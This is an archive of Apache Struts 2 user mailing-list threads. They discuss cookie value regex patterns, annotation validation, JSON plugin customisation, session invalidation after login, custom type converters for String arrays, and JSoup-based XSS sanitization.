Re: Change ACCEPTED_PATTERN in CookieInterceptor
Ah!!!, perfect, thanks. Any idea when that version will be available? thanks JL 2016-03-02 2:19 GMT-05:00 Lukasz Lenart <lukaszlen...@apache.org>: > Ah... it's resolved ;-) > > See https://issues.apache.org/jira/browse/WW-4563 > and https://issues.apache.org/jira/browse/WW-4560 > > basically you must wait for 2.3.25 > > 2016-03-02 8:17 GMT+01:00 JOSE L MARTINEZ-AVIAL <jlm...@gmail.com>: > > Hello Lukasz, > >Actually, the issue I have is with isAcceptableValue for the cookie > > value, not with the name. For reasons the name of the cookie I'm > interested > > in is variable, so I use CookieAware, and then lookup in the map for the > > cookie I'm interested in. The name of the cookie is plain, and it goes > > through isAcceptableName without issue, but the value does not pass the > > isAcceptableValue, since the regular expression does not allow for %. > And I > > would like to change that behaviour, but without affecting > > ParametersInterceptor. > > > > So far, what I've done is to extend the interceptor and change the > > regular expression by doing: > > > > private static final String ACCEPTED_PATTERN = > > "[a-zA-Z0-9\\.\\]\\[_'\\s%]+"; > > @Inject > > public void setAcceptedPatternsChecker(AcceptedPatternsChecker > > acceptedPatternsChecker) { > > super.setAcceptedPatternsChecker(acceptedPatternsChecker); > > acceptedPatternsChecker.setAcceptedPatterns(ACCEPTED_PATTERN); > > } > > > > So I override the default ACCEPTED_PATTERN with my own. But I really > would > > like to be able to do the override by configuration, and not have to > extend > > the class. And would be great to be able to do it separately for names > and > > values. > > > > JL > > > > 2016-03-02 1:28 GMT-05:00 Lukasz Lenart <lukaszlen...@apache.org>: > > > >> 2016-03-01 20:14 GMT+01:00 JOSE L MARTINEZ-AVIAL <jlm...@gmail.com>: > >> > Hello, > >> >I have an issue with Strus 2.3.24.1 where my cookies are not being > >> > accepted and populated to the action because the regular expression > for > >> the > >> > values does not admit the character %. I'm trying to override the > regular > >> > expression, but is not clear how that can be done thorugh the > >> configuration > >> > file. The only option seems to be extending the interceptor. Is that > >> > correct? > >> > >> You are right, it isn't documented but you must investigate the code :\ > >> > >> You have two options, use the below constants (the naming is obvious), > >> they accept comma separated RegExs > >> > >> struts.override.excludedPatterns > >> struts.override.acceptedPatterns > >> > >> struts.additional.excludedPatterns > >> struts.additional.acceptedPatterns > >> > >> but setting these constants will also affect ParametersInterceptor > >> which can be dangerous as you want to allow %. > >> > >> Second option is to use 'acceptCookieNames' parameter (as well comma > >> separated RegExs) but this probably won't be enough as you cannot > >> override excluded patterns in the same way. What about defining > >> 'excludeCookieNames' parameter to override exclude patterns? Then it > >> will be available in 2.3.25 > >> > >> > >> Regards > >> -- > >> Łukasz > >> + 48 606 323 122 http://www.lenart.org.pl/ > >> > >> - > >> To unsubscribe, e-mail: user-unsubscr...@struts.apache.org > >> For additional commands, e-mail: user-h...@struts.apache.org > >> > >> > > - > To unsubscribe, e-mail: user-unsubscr...@struts.apache.org > For additional commands, e-mail: user-h...@struts.apache.org > >
Re: Change ACCEPTED_PATTERN in CookieInterceptor
Hello Lukasz, Actually, the issue I have is with isAcceptableValue for the cookie value, not with the name. For reasons the name of the cookie I'm interested in is variable, so I use CookieAware, and then lookup in the map for the cookie I'm interested in. The name of the cookie is plain, and it goes through isAcceptableName without issue, but the value does not pass the isAcceptableValue, since the regular expression does not allow for %. And I would like to change that behaviour, but without affecting ParametersInterceptor. So far, what I've done is to extend the interceptor and change the regular expression by doing: private static final String ACCEPTED_PATTERN = "[a-zA-Z0-9\\.\\]\\[_'\\s%]+"; @Inject public void setAcceptedPatternsChecker(AcceptedPatternsChecker acceptedPatternsChecker) { super.setAcceptedPatternsChecker(acceptedPatternsChecker); acceptedPatternsChecker.setAcceptedPatterns(ACCEPTED_PATTERN); } So I override the default ACCEPTED_PATTERN with my own. But I really would like to be able to do the override by configuration, and not have to extend the class. And would be great to be able to do it separately for names and values. JL 2016-03-02 1:28 GMT-05:00 Lukasz Lenart <lukaszlen...@apache.org>: > 2016-03-01 20:14 GMT+01:00 JOSE L MARTINEZ-AVIAL <jlm...@gmail.com>: > > Hello, > >I have an issue with Strus 2.3.24.1 where my cookies are not being > > accepted and populated to the action because the regular expression for > the > > values does not admit the character %. I'm trying to override the regular > > expression, but is not clear how that can be done thorugh the > configuration > > file. The only option seems to be extending the interceptor. Is that > > correct? > > You are right, it isn't documented but you must investigate the code :\ > > You have two options, use the below constants (the naming is obvious), > they accept comma separated RegExs > > struts.override.excludedPatterns > struts.override.acceptedPatterns > > struts.additional.excludedPatterns > struts.additional.acceptedPatterns > > but setting these constants will also affect ParametersInterceptor > which can be dangerous as you want to allow %. > > Second option is to use 'acceptCookieNames' parameter (as well comma > separated RegExs) but this probably won't be enough as you cannot > override excluded patterns in the same way. What about defining > 'excludeCookieNames' parameter to override exclude patterns? Then it > will be available in 2.3.25 > > > Regards > -- > Łukasz > + 48 606 323 122 http://www.lenart.org.pl/ > > - > To unsubscribe, e-mail: user-unsubscr...@struts.apache.org > For additional commands, e-mail: user-h...@struts.apache.org > >
Change ACCEPTED_PATTERN in CookieInterceptor
Hello, I have an issue with Strus 2.3.24.1 where my cookies are not being accepted and populated to the action because the regular expression for the values does not admit the character %. I'm trying to override the regular expression, but is not clear how that can be done thorugh the configuration file. The only option seems to be extending the interceptor. Is that correct? Thanks JL
Re: why the code passes Servlet container test but fails in StrutsTestCase
The method execute has void as a return type, instead of a String. 2016-02-13 2:26 GMT-05:00 小唐 <644282...@qq.com>: > Hi, > > I was trying to use StrutsTestCase to write a test for a Bean, which has a > member of String[]. The code runs perfectly in servlet container(Tomcat), > but fails as a mock test. In EditActionTest.java, assertNotNull("The action > is null but should not be.", action) still works fine, but String result = > actionProxy.execute() returns the result as "error" instead of "success". > All the related codes are listed below. > > Can anyone give me a hint? > Thanks in advance! Tom > > Person.java > public class Person{ >String[] models = new String[]{"Ford", "Nissan"}; > >public void setModels(String[] models){ > this.models = models; >} > >public String[] getModels(){ > return models; >} > } > > Edit.java > public class EditAction extends ActionSupport{ >Person personBean; > >public void execute(){ > return SUCCESS; >} > } > > struts.xml > > > /edit.jsp > /thankyou.jsp > > > > edit.jsp > <%@ taglib prefix="s" uri="/struts-tags" %> > > > > > > EditActionTest.java > public class EditActionTest extends StrutsTestCase { >@Test >public void testExecuteValidationPasses() throws Exception { > request.setParameter("personBean.models", new String[]{"Ford", > "Nissan"}); > ActionProxy actionProxy = getActionProxy("/edit.action") ; > EditAction action = (EditAction) actionProxy.getAction(); > assertNotNull("The action is null but should not be.", action); > String result = actionProxy.execute(); > assertEquals("The execute method did not return " + > ActionSupport.SUCCESS + " but should have.", ActionSupport.SUCCESS, result); >} > }
Validation using annotations with two execute methods are applied always
Hello, I'm using Struts 2.3.24.1. I have an action that has two execute methods, and it is used by two actions, as follows: Each method has its own validations, defined by annotations at the method level. @Validations(requiredStrings = { @RequiredStringValidator(fieldName="idLanguage", key = "validation-error.mandatory", messageParams={"getText('idLanguage')"}), @RequiredStringValidator(fieldName="idCompany", key = "validation-error.mandatory", messageParams={"getText('idCompany')"}), @RequiredStringValidator(fieldName="idParty", key = "validation-error.mandatory", messageParams={"getText('idParty')"})}) public String createUserForParty() throws Exception { @Validations(requiredStrings = { @RequiredStringValidator(fieldName="idLanguage", key = "validation-error.mandatory", messageParams={"getText('idLanguage')"}), @RequiredStringValidator(fieldName="idCompany", key = "validation-error.mandatory", messageParams={"getText('idCompany')"}), @RequiredStringValidator(fieldName="idCustomer", key = "validation-error.mandatory", messageParams={"getText('idCustomer')"})}) public String createUserForClient() throws Exception { The issue is that both sets of validations are always executed, no matter which action has been called. And I see in the response that when idLanguage or idCompany are missing, the error appears twice, since it is requited in both actions. What am I doing wrong? Regards JL
Re: Set timezone in jsonwriter for date conversion
Hello, Let me clarify the issue I have. I would like to be able to customize the way the JSON plugin formats the date when converting an objecto to json. Specifically, when I'm returning a JSONResult to a client. In order to do that I need to modify the DateFormatter used by JSONWriter so I can change its timezone. I took a look at the code, and it seems that make that modification is going to be hard. It would be something like this: Extend JSONWriter to be able to use timezone with a Date(Maybe receiving the timezone as a parameter, or using annotation at the field level) Extend JSONUtil to call my custom JSONWriter. Extend JSONResult to call my customer JSONUtil, by overriding the method createJSONString. This would pretty much imply copy the whole code, as the method has a bunch of dependences from private variables when calling JSONUtil. Can anyone suggest a better approach? JL 2015-11-03 14:13 GMT-05:00 JOSE L MARTINEZ-AVIAL <jlm...@gmail.com>: > Hello, >I'm using Struts 2.3.16.3. I use the json plugin to return information > to the client (browser and ios App). The problem I have is that the > dates/times are local to my server, and since I have the option to know the > client's timezone, I would like to return the date to the client converted > to his local time. In order to do that I need to set the timezone of the > DateFormatter used by the json plugin. I don't see any issue way to do > that, apart from extending JSONWriter. Is that something possible? how I > would indicate the plugin to use my own version of JSONWriter? > > Thanks > > JL >
Set timezone in jsonwriter for date conversion
Hello, I'm using Struts 2.3.16.3. I use the json plugin to return information to the client (browser and ios App). The problem I have is that the dates/times are local to my server, and since I have the option to know the client's timezone, I would like to return the date to the client converted to his local time. In order to do that I need to set the timezone of the DateFormatter used by the json plugin. I don't see any issue way to do that, apart from extending JSONWriter. Is that something possible? how I would indicate the plugin to use my own version of JSONWriter? Thanks JL
Use RegexFieldValidator with multiple values
Hello, I'm trying to use @RegexFieldValidator to validate a parameter that can have multiple values. It seems that the class RegexFieldValidator can only be used for a single String, not an String[]. Can someone confirm it, and if so, is there any alternative to validate all the values? thanks JL
Re: Poblem with bean-validation ( Git-Hub) and struts2-bean-validation-plugin-2.5-BETA2.jar
You can also use Ivy for dependency management with Ant. It works just fine, and can also use Maven repositories. JL 2015-10-08 9:33 GMT-04:00 Christoph Nenning: > > Yes, I think I 'll use BETA1 with bean-validation.Regards,Chris > > I don't know how I could add dependencies, I don't use Maven, but ant. > > > it is not in maven pom. Please try to add it manually. > > > > > > MG>add this xstream dependency in section > > > > > > Well, in case of ant you have to download xstream jar(s) manually and put > them in your project. > > > Regards, > Christoph > > This Email was scanned by Sophos Anti Virus >
Re: Use global result from another result
Yes, that would be a solution, but it would be great to be able to map 'standard' result names (input, error) to global-results. We don't have that need frequently, but once in a while we do, and that would work for us. JL 2015-10-08 3:34 GMT-04:00 Christoph Nenning <christoph.nenn...@lex-com.net>: > > From: JOSE L MARTINEZ-AVIAL <jlm...@gmail.com> > > To: Struts Users Mailing List <user@struts.apache.org>, > > Date: 07.10.2015 20:25 > > Subject: Use global result from another result > > > > Hello, > > I have a global result defined as follows: > > > type="tiles">common.error.screen.newtarget > > > > And then I have an action that can return success, and go to a specific > and > > defined result, but in any other case I want the action to use the > global > > result already defined. For example" > > > > > class="com.test.DownloadDocument"> > > > > documentStream > > 1024 > > true > > > > message.handled.as.newtarget > > > > > > So if the result is anything other than success (input, error, none),for > > example due to a invalid parameter, it should use > > message.handled.as.newtarget. Is there anyway to do this? > > > > Thanks > > > > JL > > > You could define the same result with several names: > > common.error.screen.newtarget > common.error.screen.newtarget > common.error.screen.newtarget > > > Regards, > Christoph > > This Email was scanned by Sophos Anti Virus >
Use global result from another result
Hello, I have a global result defined as follows: common.error.screen.newtarget And then I have an action that can return success, and go to a specific and defined result, but in any other case I want the action to use the global result already defined. For example" documentStream 1024 true message.handled.as.newtarget So if the result is anything other than success (input, error, none),for example due to a invalid parameter, it should use message.handled.as.newtarget. Is there anyway to do this? Thanks JL
Re: More website doc problems: Type Conversion and Conversion Annotation
Hello, page https://struts.apache.org/docs/dispatcher-result.html is also failing. thanks JL 2015-08-20 2:11 GMT-04:00 Lukasz Lenart: > 2015-08-19 18:55 GMT+02:00 rgm : > > In order to determine the best way to prompt for and store a > > javax.mail.internet.InternetAddress, I began researching these pages, > which > > are broken to various degrees: > > > > https://cwiki.apache.org/confluence/display/WW/Type+Conversion > > https://cwiki.apache.org/confluence/display/WW/Conversion+Annotation > > > > Both show "Error formatting macro: snippet: > > java.lang.IndexOutOfBoundsException: Index: 20, Size: 20." > > Thanks for reporting, resolved :) > > > Regards > -- > Łukasz > + 48 606 323 122 http://www.lenart.org.pl/ > > - > To unsubscribe, e-mail: user-unsubscr...@struts.apache.org > For additional commands, e-mail: user-h...@struts.apache.org > >
Re: Unable to change content-type with Interceptor?
Hello all, I was just looking for this option to override the content-type of the json result. Is there any fix for this? Thanks JL 2012-12-31 12:41 GMT-05:00 Lukasz Lenart lukaszlen...@apache.org: 2012/12/30 Burton Rhodes burtonrho...@gmail.com: Lukasz - Thanks for all your help. You got me on the right track and it appears the json Result was what was overriding and setting the content type. As a result, I have overridden the JSONResult class to use the dynamic content-Type. You're welcome :-) /** * Custom json result type to set Content-Type response header dynamically to either 'application/json' or 'plain/text' * according to what the request header identifies in the Accept header * * (this is to fix browser wanting to download the json response on an ajax submit) * * @author Burton Rhodes * */ public class JsonDynamicContentTypeResult extends JSONResult { private static final Logger LOG = LoggerFactory.getLogger(JsonDynamicContentTypeResult.class); @Override public void execute(ActionInvocation invocation) throws Exception { ActionContext actionContext = invocation.getInvocationContext(); HttpServletRequest request = (HttpServletRequest) actionContext.get(StrutsStatics.HTTP_REQUEST); HttpServletResponse response = (HttpServletResponse) actionContext.get(StrutsStatics.HTTP_RESPONSE); // Set Content-Type according to what the request will accept if (request.getHeader(Accept)!=null request.getHeader(Accept).toLowerCase().contains(application/json)) { this.setContentType(application/json); } else { // Default to text/plain this.setContentType(text/plain); } try { Object rootObject; rootObject = readRootObject(invocation); writeToResponse(response, createJSONString(request, rootObject), enableGzip(request)); } catch (IOException exception) { LOG.error(exception.getMessage(), exception); throw exception; } } } Right now contentType isn't dynamically resolved, please register an issue and I'll add such option to JSONResult so you will be able to specify contentType via param/ tag, eg. result type=json param name=contentType${resolveContentType}/param /result and the action's resolvedContentType method will be called to obtain valid contentType Happy New Year :-) -- Łukasz + 48 606 323 122 http://www.lenart.org.pl/ - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: Change of HttpSession causes java.lang.IllegalStateException: HttpSession is invalid
Hello Christoph, Apart from the issue with static access to @com.spb.mvc.util.Constants@ATRB_SESSION_USER, is there no way to update the reference to the session across the whole framework? Because we are having the same issue with SessionAware if the session is destroyed/created in one of the interceptors. What I would like to do is be able to inject the reference to the new session in the interceptor, and have it replaced the old one across the whole framework. Any suggestions? JL 2015-05-19 3:17 GMT-04:00 Christoph Nenning christoph.nenn...@lex-com.net: Hello, We have a struts2 project. In that project we have a security procedure in order to log in the users. As part of the login process, the session is destroyed and recreated once the user is logged in, in order to avoid Session hijacking. The problem we are having is that the action finally returns a JSP, and that JSP has a OGNL reference to the session as follows: s:if test=#session[@com.spb.mvc.util.Constants@ATRB_SESSION_USER] != null It seems that the reference #session points to the previous version, as we are getting errors as follows: ERROR org.apache.struts2.dispatcher.Dispatcher - Exception occurred during processing request: HttpSession is invalid java.lang.IllegalStateException: HttpSession is invalid at weblogic.servlet.internal.session.SessionData.getAttributeNames (SessionData.java:476) at org.apache.struts2.dispatcher.SessionMap.entrySet(SessionMap.java:111) at java.util.AbstractMap.hashCode(AbstractMap.java:492) at java.util.Objects.hashCode(Objects.java:96) at java.util.HashMap$Entry.hashCode(HashMap.java:847) at java.util.AbstractMap.hashCode(AbstractMap.java:494) at ognl.OgnlContext.hashCode(OgnlContext.java:707) at java.lang.Object.toString(Object.java:237) at java.lang.String.valueOf(String.java:2847) at java.lang.StringBuilder.append(StringBuilder.java:128) Is there some way we can force the stack to refresh the reference to the session? thanks JL A simple workaround would be to store session as member of action and access this reference via ognl. And please note that it is recommended to not use statics via ognl due to security issues. Regards, Christoph This Email was scanned by Sophos Anti Virus
Change of HttpSession causes java.lang.IllegalStateException: HttpSession is invalid
Hello, We have a struts2 project. In that project we have a security procedure in order to log in the users. As part of the login process, the session is destroyed and recreated once the user is logged in, in order to avoid Session hijacking. The problem we are having is that the action finally returns a JSP, and that JSP has a OGNL reference to the session as follows: s:if test=#session[@com.spb.mvc.util.Constants@ATRB_SESSION_USER] != null It seems that the reference #session points to the previous version, as we are getting errors as follows: ERROR org.apache.struts2.dispatcher.Dispatcher - Exception occurred during processing request: HttpSession is invalid java.lang.IllegalStateException: HttpSession is invalid at weblogic.servlet.internal.session.SessionData.getAttributeNames(SessionData.java:476) at org.apache.struts2.dispatcher.SessionMap.entrySet(SessionMap.java:111) at java.util.AbstractMap.hashCode(AbstractMap.java:492) at java.util.Objects.hashCode(Objects.java:96) at java.util.HashMap$Entry.hashCode(HashMap.java:847) at java.util.AbstractMap.hashCode(AbstractMap.java:494) at ognl.OgnlContext.hashCode(OgnlContext.java:707) at java.lang.Object.toString(Object.java:237) at java.lang.String.valueOf(String.java:2847) at java.lang.StringBuilder.append(StringBuilder.java:128) Is there some way we can force the stack to refresh the reference to the session? thanks JL
Re: Struts2 Json Plugin - overwrites parameter values in url string?
I think you need to add a getSearchCriteria in ContactSearchJsonAction. 2014-11-29 17:51 GMT-05:00 Burton Rhodes burtonrho...@gmail.com: Also, here is a partial version of the SearchCriteria.java object... package com.afs.service.search; public class SearchCriteria implements Serializable { private int userId = -1; private int teamId = -1; private String searchStringContact; private String categories = null; public SearchCriteria() { } public String[] splitCategories() { return MyStringUtil.splitBy(categories, ,); } public int getUserId() { return userId; } public void setUserId(int userId) { this.userId = userId; } public int getTeamId() { return teamId; } public void setTeamId(int teamId) { this.teamId = teamId; } public String getSearchStringContact() { return searchStringContact; } public void setSearchStringContact(String searchStringContact) { this.searchStringContact = searchStringContact; } public String getCategories() { return categories; } public void setCategories(String categories) { this.categories = categories; } } On Fri, Nov 28, 2014 at 10:04 AM, Dave Newton davelnew...@gmail.com wrote: What does the action in question look like, specifically, stuff related to the `searchCriteria` object? On Fri, Nov 28, 2014 at 10:29 AM, Burton Rhodes burtonrho...@gmail.com wrote: I have a simple json action that searches for a Contact in the system. I am using a GET request with the following url: ContactSearchJson.action?searchCriteria.searchStringContact=DoesearchCriteria.categories=agent You'll notice I'm trying to set two variable in the object searchCriteria. However, when the variables are set in the action only one variable is set, but not both. If I remove either searchStringContact or categories, the remaining value will set fine. My assumption is it is setting the searchCriteria.searchStringContact value, then when it comes across the searchCriteria.categories value it overwrites the entire object so the only value that is set is categories. My questions is, if this a bugor a feature in the json-plugin? Or am I doing something wrong here? Thanks, Burton -- e: davelnew...@gmail.com m: 908-380-8699 s: davelnewton_skype t: @dave_newton b: Bucky Bits g: davelnewton so: Dave Newton - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: best approach to clean parameters using Jsoup
I jsut used the annotation: private String parameterArray[] = null; @TypeConversion(rule= ConversionRule.COLLECTION, type = ConversionType.CLASS, converter = com.xxx.yyy.util.conversion. struts2.JSoupConversor) public void setParameterArray(String parameterArray[]) { this.parameterArray = parameterArray; LOG.debug(parameterArray +Arrays.toString(parameterArray)); } Anyway, I discovered why it is not used when the parameter is an array of String. In the process to look for the apropiate setter for the parameter(which is always an array of String), Ognl uses the method OgnlRuntime.getAppropriateMethod. This method returns the most appropriate setter for the parameter. If it not find it calls getConvertedMethodAndArgs, which in turn calls XWorkConverter to convert the value, which in turn calls the custom converter. But if there is a perfect match for the setter, then XWorkConverter is not used. In the case of the parameter parameter, the setter receives a single String, and since originally the parameter is an array of String, there is no perfect match, and Ognl uses XWorkConverter to do the job. But in the case of the parameter parameterArray the setter received an array of String, so there is a perfect match and therefore XWorkConverter is not used, it just calls the setter with the parameter, so the converter is not used. 2014-11-20 7:48 GMT-05:00 Lukasz Lenart lukaszlen...@apache.org: How did you register it? 2014-11-19 12:55 GMT+01:00 JOSE L MARTINEZ-AVIAL jlm...@gmail.com: Quick question here. I'm working on the approach to use a custom conversor. It works fine for standard parameters (Just a String), but I'm having issues when the getter receives a String[] parameters private String parameter = null; @TypeConversion(type = ConversionType.CLASS, converter = com.xxx.yyy.util.conversion.struts2.JSoupConversor) public void setParameter(String parameter) { this.parameter = parameter; LOG.debug(simple parameter +parameter); } private String parameterArray[] = null; @TypeConversion(rule= ConversionRule.COLLECTION, type = ConversionType.CLASS, converter = com.xxx.yyy.util.conversion.struts2.JSoupConversor) public void setParameterArray(String parameterArray[]) { this.parameterArray = parameterArray; LOG.debug(parameterArray +Arrays.toString(parameterArray)); } the JSoupConversor has a minimal implementation of the conversion: public Object convertValue(Map context, Object o, Class toClass) { LOG.debug(convertValue +o); return super.convertValue(context,o, toClass); } public Object convertFromString(Map context, String[] values, Class toClass) { LOG.debug(convertFromString +Arrays.toString(values)); return null; } public String convertToString(Map context, Object o) { LOG.debug(convertToString +o); if (o != null) return o.toString(); return null; } protected Object performFallbackConversion(Map context, Object o, Class toClass) { LOG.debug(performFallbackConversion +o); return super.convertValue(context, o, toClass); } The issue is that it the converter is not being called for the parameterArray, although the setter is being called. The logs are as follows: com.opensymphony.xwork2.interceptor.ParametersInterceptor - Setting params parameter = [ value1 ] parameterArray = *[ value2, value3 ]* com.opensymphony.xwork2.conversion.impl.DefaultConversionAnnotationProcessor - TypeConversion [com.xxx.yyy.util.conversion.struts2.JSoupConversor] with key: [parameter] *com.opensymphony.xwork2.conversion.impl.DefaultConversionAnnotationProcessor - TypeConversion [com.xxx.yyy.util.conversion.struts2.JSoupConversor] with key: [parameterArray]* com.xxx.yyy.util.conversion.struts2.JSoupConversor - convertValue [Ljava.lang.String;@1028f08 com.xxx.yyy.util.conversion.struts2.JSoupConversor - convertToString [Ljava.lang.String;@1028f08 com.xxx.yyy.modules.test.controller.action.json.TestJSON - simple parameter [Ljava.lang.String;@1028f08 com.xxx.yyy.modules.test.controller.action.json.TestJSON - *parameterArray [value2, value3]* com.opensymphony.xwork2.validator.ValidationInterceptor - Invoking validate() on action com.spb.eco.modules.test.controller.action.json.TestJSON@1f4ca39 So I see the converter being called for parameter, but not for parameterArray, but the parameterArray is actually being set. What am I missing? Thanks 2014-11-19 6:18 GMT-05:00 JOSE L MARTINEZ-AVIAL jlm...@gmail.com: Thanks for the ideas. Overwriting retrieveParameters(ActionContext ac) method seems a good solution, although that would imply doing it to all parameters. While that could be ok, I would like to take a less aggressive approach.One option
Re: best approach to clean parameters using Jsoup
Thanks for the ideas. Overwriting retrieveParameters(ActionContext ac) method seems a good solution, although that would imply doing it to all parameters. While that could be ok, I would like to take a less aggressive approach.One option I'm considering is to user a custom Converter that could take care of this, so I could setup the converter only in those parameters I know I need to filter. What do you think? 2014-11-19 4:57 GMT-05:00 Lukasz Lenart lukaszlen...@apache.org: 2014-11-19 4:57 GMT+01:00 JOSE L MARTINEZ-AVIAL jlm...@gmail.com: Hello, We are using Struts 2.3.16.3 for our application. Due to security reasons, we need to clean the user's input in order to avoid XSS. We are using JSoup for that, with success( http://jsoup.org/cookbook/cleaning-html/whitelist-sanitizer). The issues is that we haven't find a really good way to integrate it with Struts. Basically we need to pass every String parameter through JSoup to sanitize it, and right now we are doing it manully on the execute method of the action, after the parameters have been loaded in the action and validated. We would like to do it automatically when the parametes are set in the action. In the normal actions we can do it in the getter, but some actions have java beans for parameters, and we don't want to integrate the Jsoup call in the bean methods. Any suggestions about how to do this? You can override ParametersInterceptor's retrieveParameters(ActionContext ac) method and then build your custom stack. Or you can develop custom interceptor and put it on the top of your stack and do ActionContext.get/setParameters() in intercept() method. Regards -- Łukasz + 48 606 323 122 http://www.lenart.org.pl/ - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: best approach to clean parameters using Jsoup
Quick question here. I'm working on the approach to use a custom conversor. It works fine for standard parameters (Just a String), but I'm having issues when the getter receives a String[] parameters private String parameter = null; @TypeConversion(type = ConversionType.CLASS, converter = com.xxx.yyy.util.conversion.struts2.JSoupConversor) public void setParameter(String parameter) { this.parameter = parameter; LOG.debug(simple parameter +parameter); } private String parameterArray[] = null; @TypeConversion(rule= ConversionRule.COLLECTION, type = ConversionType.CLASS, converter = com.xxx.yyy.util.conversion.struts2.JSoupConversor) public void setParameterArray(String parameterArray[]) { this.parameterArray = parameterArray; LOG.debug(parameterArray +Arrays.toString(parameterArray)); } the JSoupConversor has a minimal implementation of the conversion: public Object convertValue(Map context, Object o, Class toClass) { LOG.debug(convertValue +o); return super.convertValue(context,o, toClass); } public Object convertFromString(Map context, String[] values, Class toClass) { LOG.debug(convertFromString +Arrays.toString(values)); return null; } public String convertToString(Map context, Object o) { LOG.debug(convertToString +o); if (o != null) return o.toString(); return null; } protected Object performFallbackConversion(Map context, Object o, Class toClass) { LOG.debug(performFallbackConversion +o); return super.convertValue(context, o, toClass); } The issue is that it the converter is not being called for the parameterArray, although the setter is being called. The logs are as follows: com.opensymphony.xwork2.interceptor.ParametersInterceptor - Setting params parameter = [ value1 ] parameterArray = *[ value2, value3 ]* com.opensymphony.xwork2.conversion.impl.DefaultConversionAnnotationProcessor - TypeConversion [com.xxx.yyy.util.conversion.struts2.JSoupConversor] with key: [parameter] *com.opensymphony.xwork2.conversion.impl.DefaultConversionAnnotationProcessor - TypeConversion [com.xxx.yyy.util.conversion.struts2.JSoupConversor] with key: [parameterArray]* com.xxx.yyy.util.conversion.struts2.JSoupConversor - convertValue [Ljava.lang.String;@1028f08 com.xxx.yyy.util.conversion.struts2.JSoupConversor - convertToString [Ljava.lang.String;@1028f08 com.xxx.yyy.modules.test.controller.action.json.TestJSON - simple parameter [Ljava.lang.String;@1028f08 com.xxx.yyy.modules.test.controller.action.json.TestJSON - *parameterArray [value2, value3]* com.opensymphony.xwork2.validator.ValidationInterceptor - Invoking validate() on action com.spb.eco.modules.test.controller.action.json.TestJSON@1f4ca39 So I see the converter being called for parameter, but not for parameterArray, but the parameterArray is actually being set. What am I missing? Thanks 2014-11-19 6:18 GMT-05:00 JOSE L MARTINEZ-AVIAL jlm...@gmail.com: Thanks for the ideas. Overwriting retrieveParameters(ActionContext ac) method seems a good solution, although that would imply doing it to all parameters. While that could be ok, I would like to take a less aggressive approach.One option I'm considering is to user a custom Converter that could take care of this, so I could setup the converter only in those parameters I know I need to filter. What do you think? 2014-11-19 4:57 GMT-05:00 Lukasz Lenart lukaszlen...@apache.org: 2014-11-19 4:57 GMT+01:00 JOSE L MARTINEZ-AVIAL jlm...@gmail.com: Hello, We are using Struts 2.3.16.3 for our application. Due to security reasons, we need to clean the user's input in order to avoid XSS. We are using JSoup for that, with success( http://jsoup.org/cookbook/cleaning-html/whitelist-sanitizer). The issues is that we haven't find a really good way to integrate it with Struts. Basically we need to pass every String parameter through JSoup to sanitize it, and right now we are doing it manully on the execute method of the action, after the parameters have been loaded in the action and validated. We would like to do it automatically when the parametes are set in the action. In the normal actions we can do it in the getter, but some actions have java beans for parameters, and we don't want to integrate the Jsoup call in the bean methods. Any suggestions about how to do this? You can override ParametersInterceptor's retrieveParameters(ActionContext ac) method and then build your custom stack. Or you can develop custom interceptor and put it on the top of your stack and do ActionContext.get/setParameters() in intercept() method. Regards -- Łukasz + 48 606 323 122 http://www.lenart.org.pl/ - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h
best approach to clean parameters using Jsoup
Hello, We are using Struts 2.3.16.3 for our application. Due to security reasons, we need to clean the user's input in order to avoid XSS. We are using JSoup for that, with success( http://jsoup.org/cookbook/cleaning-html/whitelist-sanitizer). The issues is that we haven't find a really good way to integrate it with Struts. Basically we need to pass every String parameter through JSoup to sanitize it, and right now we are doing it manully on the execute method of the action, after the parameters have been loaded in the action and validated. We would like to do it automatically when the parametes are set in the action. In the normal actions we can do it in the getter, but some actions have java beans for parameters, and we don't want to integrate the Jsoup call in the bean methods. Any suggestions about how to do this? Thanks JL
Re: Anyway to map properties to different request names?
You only need to set the attribute name of the field field name=personId type=text/input You can even use a different Id, if you want to refer to the field in javascript. Why does it bother you? 2014-11-05 15:39 GMT-05:00 Paul Benedict pbened...@apache.org: Let's say I have a getter/setter for field personId. That means in my markup, I need to have a field named personId too. However, I am not really found of bleeding Java naming conventions into my web page. Shouldn't there be a way -- is there a way? -- of assigning another name to it? Hopeful example: @RequestParam(person) public final void setPersonId(String personId) { ... } Cheers, Paul
Re: Struts2 json-plugin - issue setting nested bean?
So, you are using the JSONInterceptor, right? Share your package definition so we can check that, it is not clear from your mail that you are using it. And actually, the log line: DEBUG: Setting params testValue = [ yes ] contact[firstName] = [ Bean ] contactId = [ 100 ] seems to indicate that the request is not being sent in JSON format. Could you check that with firebug or a HTTP proxy or sniffer? Also, the content/type of the request needs to be application/json, otherwise the JSONInterceptor won't do anything. 2014-10-28 22:35 GMT-04:00 Burton Rhodes burtonrho...@gmail.com: Actually, I just notice that if I use the jquery method serialize() as opposed to serializeArray() it works out of the box. On Tue, Oct 28, 2014 at 9:31 PM, Burton Rhodes burtonrho...@gmail.com wrote: That's it... thank you! However, the docs mention that the JSON string must be well formed and it specifically demonstrates that my first attempt should have worked in the nestedBean example (see below). Plus jQuery serializes the form that why by default accommodating for the dot notation ;-) I guess what I'm really asking is, do you think this was implemented incorrectly and should be coded differently to be more intuitive and account for more standard serialization of a html form? What I love about Struts is most things with it just work - this seems to be one of the few areas where it doesn't. http://struts.apache.org/release/2.3.x/docs/json-plugin.html Specifically where it mentions nestedBean and the description below the code example There must be a setNestedBean whose argument type can be any class, that has a setName method taking as argument an String. : { doubleValue: 10.10, nestedBean: { name: Mr Bean }, list: [A, 10, 20.20, { firstName: El Zorro }], array: [10, 20] } The action must have a setDoubleValue method, taking either a float or a double argument (the interceptor will convert the value to the right one). There must be a setNestedBean whose argument type can be any class, that has a setName method taking as argument an String. There must be a setList method that takes a List as argument, that list will contain: A (String), 10 (Long), 20.20 (Double), Map (firstName - El Zorro). The setArray method can take as parameter either a List, or any numeric array. On Tue, Oct 28, 2014 at 6:45 PM, JOSE L MARTINEZ-AVIAL jlm...@gmail.com wrote: Unless you use the json inteceptor to map the request boy to the action, you need to send the contact firstName as contact.firstName, so Struts will invoke 